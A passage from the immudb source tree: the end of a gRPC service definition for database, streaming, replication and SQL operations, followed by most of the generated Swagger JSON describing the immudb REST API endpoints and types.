"/db/use/{databaseName}" }; } // DEPRECATED: Use UpdateDatabaseV2 rpc UpdateDatabase(DatabaseSettings) returns (google.protobuf.Empty) { option deprecated = true; option (google.api.http) = { post: "/db/update" body: "*" }; } rpc UpdateDatabaseV2(UpdateDatabaseRequest) returns (UpdateDatabaseResponse) { option (google.api.http) = { post: "/db/update/v2" body: "*" }; } // DEPRECATED: Use GetDatabaseSettingsV2 rpc GetDatabaseSettings(google.protobuf.Empty) returns (DatabaseSettings) { option deprecated = true; option (google.api.http) = { post: "/db/settings" body: "*" }; } rpc GetDatabaseSettingsV2(DatabaseSettingsRequest) returns (DatabaseSettingsResponse) { option (google.api.http) = { post: "/db/settings/v2" body: "*" }; } rpc FlushIndex(FlushIndexRequest) returns (FlushIndexResponse) { option (google.api.http) = { get: "/db/flushindex" }; } rpc CompactIndex(google.protobuf.Empty) returns (google.protobuf.Empty) { option (google.api.http) = { get: "/db/compactindex" }; } // Streams rpc streamGet(KeyRequest) returns (stream Chunk) {} rpc streamSet(stream Chunk) returns (TxHeader) {} rpc streamVerifiableGet(VerifiableGetRequest) returns (stream Chunk) {} rpc streamVerifiableSet(stream Chunk) returns (VerifiableTx) {} rpc streamScan(ScanRequest) returns (stream Chunk) {} rpc streamZScan(ZScanRequest) returns (stream Chunk) {} rpc streamHistory(HistoryRequest) returns (stream Chunk) {} rpc streamExecAll(stream Chunk) returns (TxHeader) {} // Replication rpc exportTx(ExportTxRequest) returns (stream Chunk) {} rpc replicateTx(stream Chunk) returns (TxHeader) {} rpc streamExportTx(stream ExportTxRequest) returns (stream Chunk) {} rpc SQLExec(SQLExecRequest) returns (SQLExecResult) { option (google.api.http) = { post: "/db/sqlexec" body: "*" }; } // For backward compatibility with the grpc-gateway API rpc UnarySQLQuery(SQLQueryRequest) returns (SQLQueryResult) { option (google.api.http) = { post: "/db/sqlquery" body: "*" }; } rpc SQLQuery(SQLQueryRequest) returns (stream SQLQueryResult) { option (google.api.http) = { post: "/db/sqlquery" body: "*" }; } rpc ListTables(google.protobuf.Empty) returns (SQLQueryResult) { option (google.api.http) = { get: "/db/table/list" }; } rpc DescribeTable(Table) returns (SQLQueryResult) { option (google.api.http) = { post: "/db/tables" body: "*" }; } rpc VerifiableSQLGet(VerifiableSQLGetRequest) returns (VerifiableSQLEntry) { option (google.api.http) = { post: "/db/verifiable/sqlget" body: "*" }; } rpc TruncateDatabase(TruncateDatabaseRequest) returns (TruncateDatabaseResponse) { option (google.api.http) = { post: "/db/truncate" body: "*" }; } } ================================================ FILE: pkg/api/schema/schema.swagger.json ================================================ { "swagger": "2.0", "info": { "title": "immudb REST API", "description": "\u003cb\u003eIMPORTANT\u003c/b\u003e: All \u003ccode\u003eget\u003c/code\u003e and \u003ccode\u003esafeget\u003c/code\u003e functions return \u003cu\u003ebase64-encoded\u003c/u\u003e keys and values, while all \u003ccode\u003eset\u003c/code\u003e and \u003ccode\u003esafeset\u003c/code\u003e functions expect \u003cu\u003ebase64-encoded\u003c/u\u003e inputs.", "version": "version not set" }, "basePath": "/api", "consumes": [ "application/json" ], "produces": [ "application/json" ], "paths": { "/db/compactindex": { "get": { "operationId": "ImmuService_CompactIndex", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "ImmuService" ] } }, "/db/count/{prefix}": { "get": { "summary": "NOT YET SUPPORTED", "operationId": "ImmuService_Count", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaEntryCount" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "prefix", "in": "path", "required": true, "type": "string", "format": "byte" } ], "tags": [ "ImmuService" ] } }, "/db/countall": { "get": { "summary": "NOT YET SUPPORTED", "operationId": "ImmuService_CountAll", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaEntryCount" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "ImmuService" ] } }, "/db/create": { "post": { "summary": "DEPRECATED: Use CreateDatabaseV2", "operationId": "ImmuService_CreateDatabase", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaDatabase" } } ], "tags": [ "ImmuService" ] } }, "/db/create/v2": { "post": { "operationId": "ImmuService_CreateDatabaseV2", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaCreateDatabaseResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaCreateDatabaseRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/createwith": { "post": { "summary": "DEPRECATED: Use CreateDatabaseV2", "operationId": "ImmuService_CreateDatabaseWith", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaDatabaseSettings" } } ], "tags": [ "ImmuService" ] } }, "/db/delete": { "post": { "operationId": "ImmuService_DeleteDatabase", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaDeleteDatabaseResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaDeleteDatabaseRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/deletekey": { "post": { "operationId": "ImmuService_Delete", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaTxHeader" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaDeleteKeysRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/execall": { "post": { "operationId": "ImmuService_ExecAll", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaTxHeader" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaExecAllRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/flushindex": { "get": { "operationId": "ImmuService_FlushIndex", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaFlushIndexResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "cleanupPercentage", "description": "Percentage of nodes file to cleanup during flush.", "in": "query", "required": false, "type": "number", "format": "float" }, { "name": "synced", "description": "If true, do a full disk sync after the flush.", "in": "query", "required": false, "type": "boolean" } ], "tags": [ "ImmuService" ] } }, "/db/get/{key}": { "get": { "operationId": "ImmuService_Get", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaEntry" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "key", "description": "Key to query for", "in": "path", "required": true, "type": "string", "format": "byte" }, { "name": "atTx", "description": "If \u003e 0, query for the value exactly at given transaction.", "in": "query", "required": false, "type": "string", "format": "uint64" }, { "name": "sinceTx", "description": "If 0 (and noWait=false), wait for the index to be up-to-date,\nIf \u003e 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed.", "in": "query", "required": false, "type": "string", "format": "uint64" }, { "name": "noWait", "description": "If set to true - do not wait for any indexing update considering only the currently indexed state.", "in": "query", "required": false, "type": "boolean" }, { "name": "atRevision", "description": "If \u003e 0, get the nth version of the value, 1 being the first version, 2 being the second and so on\nIf \u003c 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on.", "in": "query", "required": false, "type": "string", "format": "int64" } ], "tags": [ "ImmuService" ] } }, "/db/getall": { "post": { "operationId": "ImmuService_GetAll", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaEntries" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaKeyListRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/health": { "get": { "operationId": "ImmuService_DatabaseHealth", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaDatabaseHealthResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "ImmuService" ], "security": [] } }, "/db/history": { "post": { "operationId": "ImmuService_History", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaEntries" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaHistoryRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/list": { "post": { "summary": "DEPRECATED: Use DatabaseListV2", "operationId": "ImmuService_DatabaseList", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaDatabaseListResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "properties": {} } } ], "tags": [ "ImmuService" ] } }, "/db/list/v2": { "post": { "operationId": "ImmuService_DatabaseListV2", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaDatabaseListResponseV2" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaDatabaseListRequestV2" } } ], "tags": [ "ImmuService" ] } }, "/db/load": { "post": { "operationId": "ImmuService_LoadDatabase", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaLoadDatabaseResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaLoadDatabaseRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/scan": { "post": { "operationId": "ImmuService_Scan", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaEntries" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaScanRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/set": { "post": { "operationId": "ImmuService_Set", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaTxHeader" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaSetRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/setreference": { "post": { "operationId": "ImmuService_SetReference", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaTxHeader" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaReferenceRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/settings": { "post": { "summary": "DEPRECATED: Use GetDatabaseSettingsV2", "operationId": "ImmuService_GetDatabaseSettings", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaDatabaseSettings" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "properties": {} } } ], "tags": [ "ImmuService" ] } }, "/db/settings/v2": { "post": { "operationId": "ImmuService_GetDatabaseSettingsV2", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaDatabaseSettingsResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaDatabaseSettingsRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/sqlexec": { "post": { "operationId": "ImmuService_SQLExec", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaSQLExecResult" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaSQLExecRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/sqlquery": { "post": { "operationId": "ImmuService_SQLQuery", "responses": { "200": { "description": "A successful response.(streaming responses)", "schema": { "type": "object", "properties": { "result": { "$ref": "#/definitions/schemaSQLQueryResult" }, "error": { "$ref": "#/definitions/runtimeStreamError" } }, "title": "Stream result of schemaSQLQueryResult" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaSQLQueryRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/state": { "get": { "operationId": "ImmuService_CurrentState", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaImmutableState" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "ImmuService" ], "security": [] } }, "/db/table/list": { "get": { "operationId": "ImmuService_ListTables", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaSQLQueryResult" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "ImmuService" ] } }, "/db/tables": { "post": { "operationId": "ImmuService_DescribeTable", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaSQLQueryResult" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaTable" } } ], "tags": [ "ImmuService" ] } }, "/db/truncate": { "post": { "operationId": "ImmuService_TruncateDatabase", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaTruncateDatabaseResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaTruncateDatabaseRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/tx": { "post": { "operationId": "ImmuService_TxScan", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaTxList" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaTxScanRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/tx/{tx}": { "get": { "operationId": "ImmuService_TxById", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaTx" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "tx", "description": "Transaction id to query for", "in": "path", "required": true, "type": "string", "format": "uint64" }, { "name": "entriesSpec.kvEntriesSpec.action", "description": "Action to perform on entries.\n\n - EXCLUDE: Exclude entries from the result\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\n - RAW_VALUE: Provide keys and values in raw form\n - RESOLVE: Provide parsed keys and values and resolve values if needed", "in": "query", "required": false, "type": "string", "enum": [ "EXCLUDE", "ONLY_DIGEST", "RAW_VALUE", "RESOLVE" ], "default": "EXCLUDE" }, { "name": "entriesSpec.zEntriesSpec.action", "description": "Action to perform on entries.\n\n - EXCLUDE: Exclude entries from the result\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\n - RAW_VALUE: Provide keys and values in raw form\n - RESOLVE: Provide parsed keys and values and resolve values if needed", "in": "query", "required": false, "type": "string", "enum": [ "EXCLUDE", "ONLY_DIGEST", "RAW_VALUE", "RESOLVE" ], "default": "EXCLUDE" }, { "name": "entriesSpec.sqlEntriesSpec.action", "description": "Action to perform on entries.\n\n - EXCLUDE: Exclude entries from the result\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\n - RAW_VALUE: Provide keys and values in raw form\n - RESOLVE: Provide parsed keys and values and resolve values if needed", "in": "query", "required": false, "type": "string", "enum": [ "EXCLUDE", "ONLY_DIGEST", "RAW_VALUE", "RESOLVE" ], "default": "EXCLUDE" }, { "name": "sinceTx", "description": "If \u003e 0, do not wait for the indexer to index all entries, only require\nentries up to sinceTx to be indexed, will affect resolving references.", "in": "query", "required": false, "type": "string", "format": "uint64" }, { "name": "noWait", "description": "Deprecated: If set to true, do not wait for the indexer to be up to date.", "in": "query", "required": false, "type": "boolean" }, { "name": "keepReferencesUnresolved", "description": "If set to true, do not resolve references (avoid looking up final values if not needed).", "in": "query", "required": false, "type": "boolean" } ], "tags": [ "ImmuService" ] } }, "/db/unload": { "post": { "operationId": "ImmuService_UnloadDatabase", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaUnloadDatabaseResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaUnloadDatabaseRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/update": { "post": { "summary": "DEPRECATED: Use UpdateDatabaseV2", "operationId": "ImmuService_UpdateDatabase", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaDatabaseSettings" } } ], "tags": [ "ImmuService" ] } }, "/db/update/v2": { "post": { "operationId": "ImmuService_UpdateDatabaseV2", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaUpdateDatabaseResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaUpdateDatabaseRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/use/{databaseName}": { "get": { "operationId": "ImmuService_UseDatabase", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaUseDatabaseReply" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "databaseName", "description": "Name of the database", "in": "path", "required": true, "type": "string" } ], "tags": [ "ImmuService" ] } }, "/db/verifiable/get": { "post": { "operationId": "ImmuService_VerifiableGet", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaVerifiableEntry" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaVerifiableGetRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/verifiable/set": { "post": { "operationId": "ImmuService_VerifiableSet", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaVerifiableTx" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaVerifiableSetRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/verifiable/setreference": { "post": { "operationId": "ImmuService_VerifiableSetReference", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaVerifiableTx" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaVerifiableReferenceRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/verifiable/sqlget": { "post": { "operationId": "ImmuService_VerifiableSQLGet", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaVerifiableSQLEntry" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaVerifiableSQLGetRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/verifiable/tx/{tx}": { "get": { "operationId": "ImmuService_VerifiableTxById", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaVerifiableTx" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "tx", "description": "Transaction ID", "in": "path", "required": true, "type": "string", "format": "uint64" }, { "name": "proveSinceTx", "description": "When generating the proof, generate consistency proof with state from this\ntransaction.", "in": "query", "required": false, "type": "string", "format": "uint64" }, { "name": "entriesSpec.kvEntriesSpec.action", "description": "Action to perform on entries.\n\n - EXCLUDE: Exclude entries from the result\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\n - RAW_VALUE: Provide keys and values in raw form\n - RESOLVE: Provide parsed keys and values and resolve values if needed", "in": "query", "required": false, "type": "string", "enum": [ "EXCLUDE", "ONLY_DIGEST", "RAW_VALUE", "RESOLVE" ], "default": "EXCLUDE" }, { "name": "entriesSpec.zEntriesSpec.action", "description": "Action to perform on entries.\n\n - EXCLUDE: Exclude entries from the result\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\n - RAW_VALUE: Provide keys and values in raw form\n - RESOLVE: Provide parsed keys and values and resolve values if needed", "in": "query", "required": false, "type": "string", "enum": [ "EXCLUDE", "ONLY_DIGEST", "RAW_VALUE", "RESOLVE" ], "default": "EXCLUDE" }, { "name": "entriesSpec.sqlEntriesSpec.action", "description": "Action to perform on entries.\n\n - EXCLUDE: Exclude entries from the result\n - ONLY_DIGEST: Provide keys in raw (unparsed) form and only the digest of the value\n - RAW_VALUE: Provide keys and values in raw form\n - RESOLVE: Provide parsed keys and values and resolve values if needed", "in": "query", "required": false, "type": "string", "enum": [ "EXCLUDE", "ONLY_DIGEST", "RAW_VALUE", "RESOLVE" ], "default": "EXCLUDE" }, { "name": "sinceTx", "description": "If \u003e 0, do not wait for the indexer to index all entries, only require\nentries up to sinceTx to be indexed, will affect resolving references.", "in": "query", "required": false, "type": "string", "format": "uint64" }, { "name": "noWait", "description": "Deprecated: If set to true, do not wait for the indexer to be up to date.", "in": "query", "required": false, "type": "boolean" }, { "name": "keepReferencesUnresolved", "description": "If set to true, do not resolve references (avoid looking up final values if not needed).", "in": "query", "required": false, "type": "boolean" } ], "tags": [ "ImmuService" ] } }, "/db/verifiable/zadd": { "post": { "operationId": "ImmuService_VerifiableZAdd", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaVerifiableTx" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaVerifiableZAddRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/zadd": { "post": { "operationId": "ImmuService_ZAdd", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaTxHeader" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaZAddRequest" } } ], "tags": [ "ImmuService" ] } }, "/db/zscan": { "post": { "operationId": "ImmuService_ZScan", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaZEntries" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaZScanRequest" } } ], "tags": [ "ImmuService" ] } }, "/health": { "get": { "summary": "DEPRECATED: Use ServerInfo", "operationId": "ImmuService_Health", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaHealthResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "ImmuService" ], "security": [] } }, "/login": { "post": { "operationId": "ImmuService_Login", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaLoginResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaLoginRequest" } } ], "tags": [ "ImmuService" ], "security": [] } }, "/logout": { "post": { "operationId": "ImmuService_Logout", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "properties": {} } } ], "tags": [ "ImmuService" ] } }, "/serverinfo": { "get": { "summary": "ServerInfo returns information about the server instance.\nServerInfoRequest is defined for future extensions.", "operationId": "ImmuService_ServerInfo", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaServerInfoResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "ImmuService" ], "security": [] } }, "/user": { "post": { "operationId": "ImmuService_CreateUser", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaCreateUserRequest" } } ], "tags": [ "ImmuService" ] } }, "/user/changepermission": { "post": { "operationId": "ImmuService_ChangePermission", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaChangePermissionRequest" } } ], "tags": [ "ImmuService" ] } }, "/user/changesqlprivileges": { "post": { "operationId": "ImmuService_ChangeSQLPrivileges", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaChangeSQLPrivilegesResponse" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaChangeSQLPrivilegesRequest" } } ], "tags": [ "ImmuService" ] } }, "/user/list": { "get": { "operationId": "ImmuService_ListUsers", "responses": { "200": { "description": "A successful response.", "schema": { "$ref": "#/definitions/schemaUserList" } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "tags": [ "ImmuService" ] } }, "/user/password/change": { "post": { "operationId": "ImmuService_ChangePassword", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaChangePasswordRequest" } } ], "tags": [ "ImmuService" ] } }, "/user/setactiveUser": { "post": { "operationId": "ImmuService_SetActiveUser", "responses": { "200": { "description": "A successful response.", "schema": { "properties": {} } }, "default": { "description": "An unexpected error response.", "schema": { "$ref": "#/definitions/runtimeError" } } }, "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/schemaSetActiveUserRequest" } } ], "tags": [ "ImmuService" ] } } }, "definitions": { "PreconditionKeyMustExistPrecondition": { "type": "object", "properties": { "key": { "type": "string", "format": "byte", "title": "key to check" } }, "title": "Only succeed if given key exists" }, "PreconditionKeyMustNotExistPrecondition": { "type": "object", "properties": { "key": { "type": "string", "format": "byte", "title": "key to check" } }, "title": "Only succeed if given key does not exists" }, "PreconditionKeyNotModifiedAfterTXPrecondition": { "type": "object", "properties": { "key": { "type": "string", "format": "byte", "title": "key to check" }, "txID": { "type": "string", "format": "uint64", "title": "transaction id to check against" } }, "title": "Only succeed if given key was not modified after given transaction" }, "protobufAny": { "type": "object", "properties": { "type_url": { "type": "string", "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." }, "value": { "type": "string", "format": "byte", "description": "Must be a valid serialized protocol buffer of the above specified type." } }, "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and 